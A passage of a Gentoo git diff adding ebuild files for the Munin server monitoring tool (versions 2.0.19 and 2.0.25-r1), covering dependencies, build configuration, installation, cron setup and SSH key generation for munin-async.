+ ssh-keygen -t rsa -f /var/lib/munin/.ssh/id_rsa -N '' -C "created by portage for ${CATEGORY}/${PN}" || die
+ ssh-keygen -t ecdsa -f /var/lib/munin/.ssh/id_ecdsa -N '' -C "created by portage for ${CATEGORY}/${PN}" || die
+ chown -R munin:munin /var/lib/munin/.ssh || die
+ chmod 0600 /var/lib/munin/.ssh/id_{rsa,ecdsa} || die
+
+ einfo "Your public keys are available in "
+ einfo " /var/lib/munin/.ssh/id_rsa.pub"
+ einfo " /var/lib/munin/.ssh/id_ecdsa.pub"
+ einfo "and follows for convenience"
+ echo
+ cat /var/lib/munin/.ssh/id_*.pub
+}
+
+pkg_postinst() {
+ elog "Please follow the munin documentation to set up the plugins you"
+ elog "need, afterwards start munin-node."
+ elog ""
+ elog "To make use of munin-async, make sure to set up the corresponding"
+ elog "SSH key in /var/lib/munin-async/.ssh/authorized_keys"
+ elog ""
+ if ! use minimal; then
+ elog "Please run"
+ elog " emerge --config net-analyzer/munin"
+ elog "to automatically configure munin's cronjobs as well as generate"
+ elog "passwordless SSH keys to be used with munin-async."
+ fi
+ elog ""
+ elog "Further information about setting up Munin in Gentoo can be found"
+ elog "in the Gentoo Wiki: https://wiki.gentoo.org/wiki/Munin"
+
+ if use cgi; then
+ chown $(usex apache apache munin) \
+ "${ROOT}"/var/cache/munin-cgi \
+ "${ROOT}"/var/log/munin/munin-cgi-{graph,html}.log
+
+ if use apache; then
+ elog "To use Munin with CGI you should include /etc/apache2/vhosts.d/munin.include"
+ elog "or /etc/apache2/vhosts.d/munin-2.4.include (for Apache 2.4) from the virtual"
+ elog "host you want it to be served."
+ elog "If you want to enable CGI-based HTML as well, you have to add to"
+ elog "/etc/conf.d/apache2 the option -D MUNIN_HTML_CGI."
+ else
+ elog "Effective CGI support has just been added in 2.0.7-r6."
+ elog "Documentation on how to use it is still sparse."
+ fi
+ fi
+
+ # we create this here as we don't want Portage to check /run
+ # symlinks but we still need this to be present before the reboot.
+ if ! use minimal && ! [[ -d "${ROOT}"/run/munin ]]; then
+ mkdir "${ROOT}"/run/munin
+ chown munin:munin "${ROOT}"/run/munin
+ chmod 0700 "${ROOT}"/run/munin
+ fi
+}
diff --git a/net-analyzer/munin/munin-2.0.19.ebuild b/net-analyzer/munin/munin-2.0.19.ebuild
new file mode 100644
index 000000000000..ad1df5f3d407
--- /dev/null
+++ b/net-analyzer/munin/munin-2.0.19.ebuild
@@ -0,0 +1,397 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PATCHSET=1
+
+inherit eutils user java-pkg-opt-2 systemd
+
+MY_P=${P/_/-}
+
+DESCRIPTION="Munin Server Monitoring Tool"
+HOMEPAGE="http://munin-monitoring.org/"
+SRC_URI="mirror://sourceforge/munin/${MY_P}.tar.gz
+ http://dev.gentoo.org/~flameeyes/${PN}/${P}-gentoo-${PATCHSET}.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~arm ~mips ppc x86"
+IUSE="asterisk irc java memcached minimal mysql postgres ssl test cgi ipv6 syslog ipmi http dhcpd doc apache"
+REQUIRED_USE="cgi? ( !minimal ) apache? ( cgi )"
+
+# Upstream's listing of required modules is NOT correct!
+# Some of the postgres plugins use DBD::Pg, while others call psql directly.
+# Some of the mysql plugins use DBD::mysql, while others call mysqladmin directly.
+# We replace the original ipmi plugins with the freeipmi_ plugin which at least works.
+DEPEND_COM="dev-lang/perl[berkdb]
+ kernel_linux? ( sys-process/procps )
+ doc? ( dev-python/sphinx )
+ asterisk? ( dev-perl/Net-Telnet )
+ irc? ( dev-perl/Net-IRC )
+ mysql? ( virtual/mysql
+ dev-perl/Cache-Cache
+ dev-perl/DBD-mysql )
+ ssl? ( dev-perl/Net-SSLeay )
+ postgres? ( dev-perl/DBD-Pg dev-db/postgresql )
+ memcached? ( dev-perl/Cache-Memcached )
+ cgi? ( dev-perl/FCGI )
+ apache? ( www-servers/apache[apache2_modules_cgi,apache2_modules_cgid,apache2_modules_rewrite] )
+ syslog? ( virtual/perl-Sys-Syslog )
+ http? ( dev-perl/libwww-perl )
+ dhcpd? (
+ >=net-misc/dhcp-3[server]
+ dev-perl/Net-IP
+ dev-perl/HTTP-Date
+ )
+ dev-perl/DBI
+ dev-perl/DateManip
+ dev-perl/File-Copy-Recursive
+ dev-perl/List-MoreUtils
+ dev-perl/Log-Log4perl
+ dev-perl/Net-CIDR
+ dev-perl/Net-DNS
+ dev-perl/Net-Netmask
+ dev-perl/Net-SNMP
+ dev-perl/net-server[ipv6(-)?]
+ virtual/perl-Digest-MD5
+ virtual/perl-Getopt-Long
+ virtual/perl-MIME-Base64
+ virtual/perl-Storable
+ virtual/perl-Text-Balanced
+ virtual/perl-Time-HiRes
+ !minimal? (
+ dev-perl/HTML-Template
+ dev-perl/IO-Socket-INET6
+ dev-perl/URI
+ >=net-analyzer/rrdtool-1.3[graph,perl]
+ virtual/ssh
+ )"
+
+# Keep this seperate, as previous versions have had other deps here
+DEPEND="${DEPEND_COM}
+ dev-perl/Module-Build
+ java? ( >=virtual/jdk-1.5 )
+ test? (
+ dev-perl/Test-Deep
+ dev-perl/Test-LongString
+ dev-perl/Test-Differences
+ dev-perl/Test-MockModule
+ dev-perl/Test-MockObject
+ dev-perl/File-Slurp
+ dev-perl/IO-stringy
+ dev-perl/IO-Socket-INET6
+ )"
+RDEPEND="${DEPEND_COM}
+ virtual/awk
+ ipmi? ( >=sys-libs/freeipmi-1.1.6-r1 )
+ java? (
+ >=virtual/jre-1.5
+ || ( net-analyzer/netcat6 net-analyzer/netcat )
+ )
+ !minimal? (
+ virtual/cron
+ media-fonts/dejavu
+ )
+ !<sys-apps/openrc-0.11.8"
+
+S="${WORKDIR}/${MY_P}"
+
+pkg_setup() {
+ enewgroup munin
+ enewuser munin 177 -1 /var/lib/munin munin
+ enewuser munin-async -1 /bin/sh /var/spool/munin-async
+ esethome munin-async /var/spool/munin-async
+ java-pkg-opt-2_pkg_setup
+}
+
+src_prepare() {
+ epatch "${WORKDIR}"/patches/*.patch
+
+ java-pkg-opt-2_src_prepare
+}
+
+src_configure() {
+ local cgidir='$(DESTDIR)/usr/libexec/munin/cgi'
+ use cgi || cgidir="${T}/useless/cgi-bin"
+
+ local cgiuser=$(usex apache apache munin)
+
+ cat - >> "${S}"/Makefile.config <<EOF
+PREFIX=\$(DESTDIR)/usr
+CONFDIR=\$(DESTDIR)/etc/munin
+DOCDIR=${T}/useless/doc
+MANDIR=\$(PREFIX)/share/man
+LIBDIR=\$(PREFIX)/libexec/munin
+HTMLDIR=\$(DESTDIR)/var/www/localhost/htdocs/munin
+CGIDIR=${cgidir}
+CGITMPDIR=\$(DESTDIR)/var/cache/munin-cgi
+CGIUSER=${cgiuser}
+DBDIR=\$(DESTDIR)/var/lib/munin
+DBDIRNODE=\$(DESTDIR)/var/lib/munin-node
+SPOOLDIR=\$(DESTDIR)/var/spool/munin-async
+LOGDIR=\$(DESTDIR)/var/log/munin
+PERLSITELIB=$(perl -V:vendorlib | cut -d"'" -f2)
+JCVALID=$(usex java yes no)
+STATEDIR=\$(DESTDIR)/run/munin
+EOF
+}
+
+# parallel make and install need to be fixed before, and I haven't
+# gotten around to do so yet.
+src_compile() {
+ emake -j1
+ if use doc; then
+ emake -C doc html
+ fi
+}
+
+src_test() {
+ if [[ ${EUID} == 0 ]]; then
+ eerror "You cannot run tests as root."
+ eerror "Please enable FEATURES=userpriv before proceeding."
+ return 1
+ fi
+
+ local testtargets="test-common test-node test-plugins"
+ use minimal || testtargets+=" test-master"
+
+ LC_ALL=C emake -j1 ${testtargets}
+}
+
+src_install() {
+ local dirs="
+ /var/log/munin
+ /var/lib/munin/plugin-state
+ /etc/munin/plugin-conf.d
+ /etc/munin/plugins"
+ use minimal || dirs+=" /etc/munin/munin-conf.d/"
+
+ keepdir ${dirs}
+ fowners munin:munin ${dirs}
+
+ # parallel install doesn't work and it's also pointless to have this
+ # run in parallel for now (because it uses internal loops).
+ emake -j1 DESTDIR="${D}" $(usex minimal install-minimal install)
+
+ # we remove /run from the install, as it's not the package's to deal
+ # with.
+ rm -rf "${D}"/run
+
+ # remove the plugins for non-Gentoo package managers; use -f so that
+ # it doesn't fail when installing on non-Linux platforms.
+ rm -f "${D}"/usr/libexec/munin/plugins/{apt{,_all},yum} || die
+
+ insinto /etc/munin/plugin-conf.d/
+ newins "${FILESDIR}"/${PN}-1.3.2-plugins.conf munin-node
+
+ newinitd "${FILESDIR}"/munin-node_init.d_2.0.19 munin-node
+ newconfd "${FILESDIR}"/munin-node_conf.d_1.4.6-r2 munin-node
+
+ newinitd "${FILESDIR}"/munin-asyncd.init.2 munin-asyncd
+
+ dodir /usr/lib/tmpfiles.d
+ cat - > "${D}"/usr/lib/tmpfiles.d/${CATEGORY}:${PN}:${SLOT}.conf <<EOF
+d /run/munin 0700 munin munin - -
+EOF
+
+ systemd_dounit "${FILESDIR}"/munin-async.service
+ systemd_dounit "${FILESDIR}"/munin-graph.{service,socket}
+ systemd_dounit "${FILESDIR}"/munin-html.{service,socket}
+ systemd_dounit "${FILESDIR}"/munin-node.service
+
+ cat - >> "${T}"/munin.env <<EOF
+CONFIG_PROTECT=/var/spool/munin-async/.ssh
+EOF
+ newenvd "${T}"/munin.env 50munin
+
+ dodoc README ChangeLog INSTALL
+ if use doc; then
+ cd "${S}"/doc/_build/html
+ dohtml -r *
+ cd "${S}"
+ fi
+
+ dodir /etc/logrotate.d/
+ sed -e "s:@CGIUSER@:$(usex apache apache munin):g" \
+ "${FILESDIR}"/logrotate.d-munin.2 > "${D}"/etc/logrotate.d/munin
+
+ dosym ipmi_ /usr/libexec/munin/plugins/ipmi_sensor_
+
+ if use syslog; then
+ sed -i -e '/log_file/s| .*| Sys::Syslog|' \
+ "${D}"/etc/munin/munin-node.conf || die
+ fi
+
+ # Use a simpler pid file to avoid trouble with /run in tmpfs. The
+ # munin-node service is ran as user root, and only later drops
+ # privileges.
+ sed -i -e 's:/run/munin/munin-node.pid:/run/munin-node.pid:' \
+ "${D}"/etc/munin/munin-node.conf || die
+
+ keepdir /var/spool/munin-async/.ssh
+ touch "${D}"/var/spool/munin-async/.ssh/authorized_keys
+ fowners munin-async:munin /var/spool/munin-async{,/.ssh/{,authorized_keys}}
+ fperms 0750 /var/spool/munin-async{,/.ssh}
+ fperms 0600 /var/spool/munin-async/.ssh/authorized_keys
+
+ if use minimal; then
+ # This requires the presence of munin-update, which is part of
+ # the non-minimal install...
+ rm "${D}"/usr/libexec/munin/plugins/munin_stats
+ else
+ # remove font files so that we don't have to keep them around
+ rm "${D}"/usr/libexec/${PN}/*.ttf || die
+
+ if use cgi; then
+ sed -i -e '/#graph_strategy cgi/s:^#::' "${D}"/etc/munin/munin.conf || die
+
+ keepdir /var/cache/munin-cgi
+ touch "${D}"/var/log/munin/munin-cgi-{graph,html}.log
+ fowners $(usex apache apache munin) \
+ /var/cache/munin-cgi \
+ /var/log/munin/munin-cgi-{graph,html}.log
+
+ if use apache; then
+ insinto /etc/apache2/vhosts.d
+ newins "${FILESDIR}"/munin.apache.include munin.include
+ newins "${FILESDIR}"/munin.apache.include-2.4 munin-2.4.include
+ fi
+ else
+ sed -i -e '/#graph_strategy cgi/s:#graph_strategy cgi:graph_strategy cron:' "${D}"/etc/munin/munin.conf || die
+ fi
+
+ keepdir /var/lib/munin/.ssh
+ cat - >> "${D}"/var/lib/munin/.ssh/config <<EOF
+IdentityFile /var/lib/munin/.ssh/id_ecdsa
+IdentityFile /var/lib/munin/.ssh/id_rsa
+EOF
+
+ fowners munin:munin /var/lib/munin/.ssh/{,config}
+ fperms go-rwx /var/lib/munin/.ssh/{,config}
+
+ dodir /usr/share/${PN}
+ cat - >> "${D}"/usr/share/${PN}/crontab <<EOF
+# Force the shell to bash
+SHELL=/bin/bash
+# Mail reports to root@, not munin@
+MAILTO=root
+
+# This runs the munin task every 5 minutes.
+*/5 * * * * /usr/bin/munin-cron
+
+# Alternatively, this route works differently
+# Update once a minute (for busy sites)
+#*/1 * * * * /usr/libexec/munin/munin-update
+## Check for limit excess every 2 minutes
+#*/2 * * * * /usr/libexec/munin/munin-limits
+## Update graphs every 5 minutes
+#*/5 * * * * nice /usr/libexec/munin/munin-graph
+## Update HTML pages every 15 minutes
+#*/15 * * * * nice /usr/libexec/munin/munin-html
+EOF
+
+ cat - >> "${D}"/usr/share/${PN}/fcrontab <<EOF
+# Mail reports to root@, not munin@, only execute one at a time
+!mailto(root),serial(true)
+
+# This runs the munin task every 5 minutes.
+@ 5 /usr/bin/munin-cron
+
+# Alternatively, this route works differently
+# Update once a minute (for busy sites)
+#@ 1 /usr/libexec/munin/munin-update
+## Check for limit excess every 2 minutes
+#@ 2 /usr/libexec/munin/munin-limits
+## Update graphs every 5 minutes
+#@ 5 nice /usr/libexec/munin/munin-graph
+## Update HTML pages every 15 minutes
+#@ 15 nice /usr/libexec/munin/munin-html
+EOF
+
+ # remove .htaccess file
+ find "${D}" -name .htaccess -delete || die
+ fi
+}
+
+pkg_config() {
+ if use minimal; then
+ einfo "Nothing to do."
+ return 0
+ fi
+
+ einfo "Press enter to install the default crontab for the munin master"
+ einfo "installation from /usr/share/${PN}/f?crontab"
+ einfo "If you have a large site, you may wish to customize it."
+ read
+
+ ebegin "Setting up cron ..."
+ if has_version sys-process/fcron; then
+ fcrontab - -u munin < /usr/share/${PN}/fcrontab
+ else
+ # dcron is very fussy about syntax
+ # the following is the only form that works in BOTH dcron and vixie-cron
+ crontab - -u munin < /usr/share/${PN}/crontab
+ fi
+ eend $?
+
+ einfo "Press enter to set up the SSH keys used for SSH transport"
+ read
+
+ # generate one rsa (for legacy) and one ecdsa (for new systems)
+ ssh-keygen -t rsa -f /var/lib/munin/.ssh/id_rsa -N '' -C "created by portage for ${CATEGORY}/${PN}" || die
+ ssh-keygen -t ecdsa -f /var/lib/munin/.ssh/id_ecdsa -N '' -C "created by portage for ${CATEGORY}/${PN}" || die
+ chown -R munin:munin /var/lib/munin/.ssh || die
+ chmod 0600 /var/lib/munin/.ssh/id_{rsa,ecdsa} || die
+
+ einfo "Your public keys are available in "
+ einfo " /var/lib/munin/.ssh/id_rsa.pub"
+ einfo " /var/lib/munin/.ssh/id_ecdsa.pub"
+ einfo "and follows for convenience"
+ echo
+ cat /var/lib/munin/.ssh/id_*.pub
+}
+
+pkg_postinst() {
+ elog "Please follow the munin documentation to set up the plugins you"
+ elog "need, afterwards start munin-node."
+ elog ""
+ elog "To make use of munin-async, make sure to set up the corresponding"
+ elog "SSH key in /var/lib/munin-async/.ssh/authorized_keys"
+ elog ""
+ if ! use minimal; then
+ elog "Please run"
+ elog " emerge --config net-analyzer/munin"
+ elog "to automatically configure munin's cronjobs as well as generate"
+ elog "passwordless SSH keys to be used with munin-async."
+ fi
+ elog ""
+ elog "Further information about setting up Munin in Gentoo can be found"
+ elog "in the Gentoo Wiki: https://wiki.gentoo.org/wiki/Munin"
+
+ if use cgi; then
+ chown $(usex apache apache munin) \
+ "${ROOT}"/var/cache/munin-cgi \
+ "${ROOT}"/var/log/munin/munin-cgi-{graph,html}.log
+
+ if use apache; then
+ elog "To use Munin with CGI you should include /etc/apache2/vhosts.d/munin.include"
+ elog "or /etc/apache2/vhosts.d/munin-2.4.include (for Apache 2.4) from the virtual"
+ elog "host you want it to be served."
+ elog "If you want to enable CGI-based HTML as well, you have to add to"
+ elog "/etc/conf.d/apache2 the option -D MUNIN_HTML_CGI."
+ else
+ elog "Effective CGI support has just been added in 2.0.7-r6."
+ elog "Documentation on how to use it is still sparse."
+ fi
+ fi
+
+ # we create this here as we don't want Portage to check /run
+ # symlinks but we still need this to be present before the reboot.
+ if ! use minimal && ! [[ -d "${ROOT}"/run/munin ]]; then
+ mkdir "${ROOT}"/run/munin
+ chown munin:munin "${ROOT}"/run/munin
+ chmod 0700 "${ROOT}"/run/munin
+ fi
+}
diff --git a/net-analyzer/munin/munin-2.0.25-r1.ebuild b/net-analyzer/munin/munin-2.0.25-r1.ebuild
new file mode 100644
index 000000000000..b1623c6947ef
--- /dev/null
+++ b/net-analyzer/munin/munin-2.0.25-r1.ebuild
@@ -0,0 +1,411 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PATCHSET=1
+
+inherit eutils user java-pkg-opt-2 systemd
+
+MY_P=${P/_/-}
+
+DESCRIPTION="Munin Server Monitoring Tool"
+HOMEPAGE="http://munin-monitoring.org/"
+SRC_URI="
+ mirror://sourceforge/munin/${MY_P}.tar.gz
+ http://dev.gentoo.org/~jlec/distfiles/${P}-gentoo-${PATCHSET}.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~mips ~ppc ~x86"
+IUSE="asterisk irc java memcached minimal mysql postgres selinux ssl test cgi ipv6 syslog ipmi http dhcpd doc apache"
+REQUIRED_USE="cgi? ( !minimal ) apache? ( cgi )"
+
+# Upstream's listing of required modules is NOT correct!
+# Some of the postgres plugins use DBD::Pg, while others call psql directly.
+# Some of the mysql plugins use DBD::mysql, while others call mysqladmin directly.
+# We replace the original ipmi plugins with the freeipmi_ plugin which at least works.
+DEPEND_COM="
+ dev-lang/perl[berkdb]
+ dev-perl/DBI
+ dev-perl/DateManip
+ dev-perl/File-Copy-Recursive
+ dev-perl/List-MoreUtils
+ dev-perl/Log-Log4perl
+ dev-perl/Net-CIDR
+ dev-perl/Net-DNS
+ dev-perl/Net-Netmask
+ dev-perl/Net-SNMP
+ dev-perl/net-server[ipv6(-)?]
+ virtual/perl-Digest-MD5
+ virtual/perl-Getopt-Long
+ virtual/perl-MIME-Base64
+ virtual/perl-Storable
+ virtual/perl-Text-Balanced
+ virtual/perl-Time-HiRes
+ apache? ( www-servers/apache[apache2_modules_cgi,apache2_modules_cgid,apache2_modules_rewrite] )
+ asterisk? ( dev-perl/Net-Telnet )
+ cgi? (
+ dev-perl/FCGI
+ dev-perl/CGI-Fast
+ )
+ dhcpd? (
+ >=net-misc/dhcp-3[server]
+ dev-perl/Net-IP
+ dev-perl/HTTP-Date
+ )
+ doc? ( dev-python/sphinx )
+ http? ( dev-perl/libwww-perl )
+ irc? ( dev-perl/Net-IRC )
+ kernel_linux? ( sys-process/procps )
+ memcached? ( dev-perl/Cache-Memcached )
+ mysql? (
+ virtual/mysql
+ dev-perl/Cache-Cache
+ dev-perl/DBD-mysql
+ )
+ postgres? ( dev-perl/DBD-Pg dev-db/postgresql )
+ ssl? ( dev-perl/Net-SSLeay )
+ syslog? ( virtual/perl-Sys-Syslog )
+ !minimal? (
+ dev-perl/HTML-Template
+ dev-perl/IO-Socket-INET6
+ dev-perl/URI
+ >=net-analyzer/rrdtool-1.3[graph,perl]
+ virtual/ssh
+ )
+ "
+
+# Keep this seperate, as previous versions have had other deps here
+DEPEND="${DEPEND_COM}
+ dev-perl/Module-Build
+ java? ( >=virtual/jdk-1.5 )
+ test? (
+ dev-perl/Test-Deep
+ dev-perl/Test-LongString
+ dev-perl/Test-Differences
+ dev-perl/Test-MockModule
+ dev-perl/Test-MockObject
+ dev-perl/File-Slurp
+ dev-perl/IO-stringy
+ dev-perl/IO-Socket-INET6
+ )"
+RDEPEND="${DEPEND_COM}
+ virtual/awk
+ ipmi? ( >=sys-libs/freeipmi-1.1.6-r1 )
+ java? (
+ >=virtual/jre-1.5
+ || ( net-analyzer/netcat6 net-analyzer/netcat )
+ )
+ !minimal? (
+ virtual/cron
+ media-fonts/dejavu
+ )
+ selinux? ( sec-policy/selinux-munin )
+ !<sys-apps/openrc-0.11.8"
+
+S="${WORKDIR}/${MY_P}"
+
+pkg_setup() {
+ enewgroup munin
+ enewuser munin 177 -1 /var/lib/munin munin
+ enewuser munin-async -1 /bin/sh /var/spool/munin-async
+ esethome munin-async /var/spool/munin-async
+ java-pkg-opt-2_pkg_setup
+}
+
+src_prepare() {
+ epatch "${WORKDIR}"/patches/*.patch
+
+ java-pkg-opt-2_src_prepare
+}
+
+src_configure() {
+ local cgidir='$(DESTDIR)/usr/libexec/munin/cgi'
+ use cgi || cgidir="${T}/useless/cgi-bin"
+
+ local cgiuser=$(usex apache apache munin)
+
+ cat >> "${S}"/Makefile.config <<- EOF
+ PREFIX=\$(DESTDIR)/usr
+ CONFDIR=\$(DESTDIR)/etc/munin
+ DOCDIR=${T}/useless/doc
+ MANDIR=\$(PREFIX)/share/man
+ LIBDIR=\$(PREFIX)/libexec/munin
+ HTMLDIR=\$(DESTDIR)/var/www/localhost/htdocs/munin
+ CGIDIR=${cgidir}
+ CGITMPDIR=\$(DESTDIR)/var/cache/munin-cgi
+ CGIUSER=${cgiuser}
+ DBDIR=\$(DESTDIR)/var/lib/munin
+ DBDIRNODE=\$(DESTDIR)/var/lib/munin-node
+ SPOOLDIR=\$(DESTDIR)/var/spool/munin-async
+ LOGDIR=\$(DESTDIR)/var/log/munin
+ PERLSITELIB=$(perl -V:vendorlib | cut -d"'" -f2)
+ JCVALID=$(usex java yes no)
+ STATEDIR=\$(DESTDIR)/run/munin
+ EOF
+}
+
+# parallel make and install need to be fixed before, and I haven't
+# gotten around to do so yet.
+src_compile() {
+ emake -j1
+ use doc && emake -C doc html
+}
+
+src_test() {
+ if [[ ${EUID} == 0 ]]; then
+ eerror "You cannot run tests as root."
+ eerror "Please enable FEATURES=userpriv before proceeding."
+ return 1
+ fi
+
+ local testtargets="test-common test-node test-plugins"
+ use minimal || testtargets+=" test-master"
+
+ LC_ALL=C emake -j1 ${testtargets}
+}
+
+src_install() {
+ local dirs="
+ /var/log/munin
+ /var/lib/munin/plugin-state
+ /etc/munin/plugin-conf.d
+ /etc/munin/plugins"
+ use minimal || dirs+=" /etc/munin/munin-conf.d/"
+
+ keepdir ${dirs}
+ fowners munin:munin ${dirs}
+
+ # parallel install doesn't work and it's also pointless to have this
+ # run in parallel for now (because it uses internal loops).
+ emake -j1 DESTDIR="${D}" $(usex minimal "install-minimal install-man" install)
+
+ # we remove /run from the install, as it's not the package's to deal
+ # with.
+ rm -rf "${D}"/run || die
+
+ # remove the plugins for non-Gentoo package managers; use -f so that
+ # it doesn't fail when installing on non-Linux platforms.
+ rm -f "${D}"/usr/libexec/munin/plugins/{apt{,_all},yum} || die
+
+ insinto /etc/munin/plugin-conf.d/
+ newins "${FILESDIR}"/${PN}-1.3.2-plugins.conf munin-node
+
+ newinitd "${FILESDIR}"/munin-node_init.d_2.0.19 munin-node
+ newconfd "${FILESDIR}"/munin-node_conf.d_1.4.6-r2 munin-node
+
+ newinitd "${FILESDIR}"/munin-asyncd.init.2 munin-asyncd
+
+ dodir /usr/lib/tmpfiles.d
+ cat > "${D}"/usr/lib/tmpfiles.d/${CATEGORY}:${PN}:${SLOT}.conf <<- EOF
+ d /run/munin 0700 munin munin - -
+ EOF
+
+ systemd_dounit "${FILESDIR}"/munin-async.service
+ systemd_dounit "${FILESDIR}"/munin-graph.{service,socket}
+ systemd_dounit "${FILESDIR}"/munin-html.{service,socket}
+ systemd_dounit "${FILESDIR}"/munin-node.service
+
+ cat >> "${T}"/munin.env <<- EOF
+ CONFIG_PROTECT=/var/spool/munin-async/.ssh
+ EOF
+ newenvd "${T}"/munin.env 50munin
+
+ dodoc README ChangeLog INSTALL
+ if use doc; then
+ cd "${S}"/doc/_build/html || die
+ docinto html
+ dodoc -r *
+ cd "${S}" || die
+ fi
+
+ dodir /etc/logrotate.d/
+ sed -e "s:@CGIUSER@:$(usex apache apache munin):g" \
+ "${FILESDIR}"/logrotate.d-munin.3 > "${D}"/etc/logrotate.d/munin
+
+ dosym ipmi_ /usr/libexec/munin/plugins/ipmi_sensor_
+
+ if use syslog; then
+ sed -i -e '/log_file/s| .*| Sys::Syslog|' \
+ "${D}"/etc/munin/munin-node.conf || die
+ fi
+
+ # Use a simpler pid file to avoid trouble with /run in tmpfs. The
+ # munin-node service is ran as user root, and only later drops
+ # privileges.
+ sed -i -e 's:/run/munin/munin-node.pid:/run/munin-node.pid:' \
+ "${D}"/etc/munin/munin-node.conf || die
+
+ keepdir /var/spool/munin-async/.ssh
+ touch "${D}"/var/spool/munin-async/.ssh/authorized_keys
+ fowners munin-async:munin /var/spool/munin-async{,/.ssh/{,authorized_keys}}
+ fperms 0750 /var/spool/munin-async{,/.ssh}
+ fperms 0600 /var/spool/munin-async/.ssh/authorized_keys
+
+ if use minimal; then
+ # This requires the presence of munin-update, which is part of
+ # the non-minimal install...
+ rm "${D}"/usr/libexec/munin/plugins/munin_stats
+ else
+ # remove font files so that we don't have to keep them around
+ rm "${D}"/usr/libexec/${PN}/*.ttf || die
+
+ if use cgi; then
+ sed -i -e '/#graph_strategy cgi/s:^#::' "${D}"/etc/munin/munin.conf || die
+
+ keepdir /var/cache/munin-cgi
+ touch "${D}"/var/log/munin/munin-cgi-{graph,html}.log
+ fowners $(usex apache apache munin) \
+ /var/cache/munin-cgi \
+ /var/log/munin/munin-cgi-{graph,html}.log
+
+ if use apache; then
+ insinto /etc/apache2/vhosts.d
+ newins "${FILESDIR}"/munin.apache.include munin.include
+ newins "${FILESDIR}"/munin.apache.include-2.4 munin-2.4.include
+ fi
+ else
+ sed \
+ -e '/#graph_strategy cgi/s:#graph_strategy cgi:graph_strategy cron:' \
+ -i "${D}"/etc/munin/munin.conf || die
+ fi
+
+ keepdir /var/lib/munin/.ssh
+ cat >> "${D}"/var/lib/munin/.ssh/config <<- EOF
+ IdentityFile /var/lib/munin/.ssh/id_ecdsa
+ IdentityFile /var/lib/munin/.ssh/id_rsa
+ EOF
+
+ fowners munin:munin /var/lib/munin/.ssh/{,config}
+ fperms go-rwx /var/lib/munin/.ssh/{,config}
+
+ dodir /usr/share/${PN}
+ cat >> "${D}"/usr/share/${PN}/crontab <<- EOF
+ # Force the shell to bash
+ SHELL=/bin/bash
+ # Mail reports to root@, not munin@
+ MAILTO=root
+
+ # This runs the munin task every 5 minutes.
+ */5 * * * * /usr/bin/munin-cron
+
+ # Alternatively, this route works differently
+ # Update once a minute (for busy sites)
+ #*/1 * * * * /usr/libexec/munin/munin-update
+ ## Check for limit excess every 2 minutes
+ #*/2 * * * * /usr/libexec/munin/munin-limits
+ ## Update graphs every 5 minutes
+ #*/5 * * * * nice /usr/libexec/munin/munin-graph
+ ## Update HTML pages every 15 minutes
+ #*/15 * * * * nice /usr/libexec/munin/munin-html
+ EOF
+
+ cat >> "${D}"/usr/share/${PN}/fcrontab <<- EOF
+ # Mail reports to root@, not munin@, only execute one at a time
+ !mailto(root),serial(true)
+
+ # This runs the munin task every 5 minutes.
+ @ 5 /usr/bin/munin-cron
+
+ # Alternatively, this route works differently
+ # Update once a minute (for busy sites)
+ #@ 1 /usr/libexec/munin/munin-update
+ ## Check for limit excess every 2 minutes
+ #@ 2 /usr/libexec/munin/munin-limits
+ ## Update graphs every 5 minutes
+ #@ 5 nice /usr/libexec/munin/munin-graph
+ ## Update HTML pages every 15 minutes
+ #@ 15 nice /usr/libexec/munin/munin-html
+ EOF
+
+ # remove .htaccess file
+ find "${D}" -name .htaccess -delete || die
+ fi
+}
+
+pkg_config() {
+ if use minimal; then
+ einfo "Nothing to do."
+ return 0
+ fi
+
+ einfo "Press enter to install the default crontab for the munin master"
+ einfo "installation from /usr/share/${PN}/f?crontab"
+ einfo "If you have a large site, you may wish to customize it."
+ read
+
+ ebegin "Setting up cron ..."
+ if has_version sys-process/fcron; then
+ fcrontab - -u munin < /usr/share/${PN}/fcrontab
+ else
+ # dcron is very fussy about syntax
+ # the following is the only form that works in BOTH dcron and vixie-cron
+ crontab - -u munin < /usr/share/${PN}/crontab
+ fi
+ eend $?
+
+ einfo "Press enter to set up the SSH keys used for SSH transport"
+ read
+
+ # generate one rsa (for legacy) and one ecdsa (for new systems)
+ ssh-keygen -t rsa \
+ -f /var/lib/munin/.ssh/id_rsa -N '' \
+ -C "created by portage for ${CATEGORY}/${PN}" || die
+ ssh-keygen -t ecdsa \
+ -f /var/lib/munin/.ssh/id_ecdsa -N '' \
+ -C "created by portage for ${CATEGORY}/${PN}" || die
+ chown -R munin:munin /var/lib/munin/.ssh || die
+ chmod 0600 /var/lib/munin/.ssh/id_{rsa,ecdsa} || die
+
+ einfo "Your public keys are available in "
+ einfo " /var/lib/munin/.ssh/id_rsa.pub"
+ einfo " /var/lib/munin/.ssh/id_ecdsa.pub"
+ einfo "and follows for convenience"
+ echo
+ cat /var/lib/munin/.ssh/id_*.pub
+}
+
+pkg_postinst() {
+ elog "Please follow the munin documentation to set up the plugins you"
+ elog "need, afterwards start munin-node."
+ elog ""
+ elog "To make use of munin-async, make sure to set up the corresponding"
+ elog "SSH key in /var/lib/munin-async/.ssh/authorized_keys"
+ elog ""
+ if ! use minimal; then
+ elog "Please run"
+ elog " emerge --config net-analyzer/munin"
+ elog "to automatically configure munin's cronjobs as well as generate"
+ elog "passwordless SSH keys to be used with munin-async."
+ fi
+ elog ""
+ elog "Further information about setting up Munin in Gentoo can be found"
+ elog "in the Gentoo Wiki: https://wiki.gentoo.org/wiki/Munin"
+
+ if use cgi; then
+ chown $(usex apache apache munin) \
+ "${ROOT}"/var/cache/munin-cgi \
+ "${ROOT}"/var/log/munin/munin-cgi-{graph,html}.log
+
+ if use apache; then
+ elog "To use Munin with CGI you should include /etc/apache2/vhosts.d/munin.include"
+ elog "or /etc/apache2/vhosts.d/munin-2.4.include (for Apache 2.4) from the virtual"
+ elog "host you want it to be served."
+ elog "If you want to enable CGI-based HTML as well, you have to add to"
+ elog "/etc/conf.d/apache2 the option -D MUNIN_HTML_CGI."
+ else
+ elog "Effective CGI support has just been added in 2.0.7-r6."
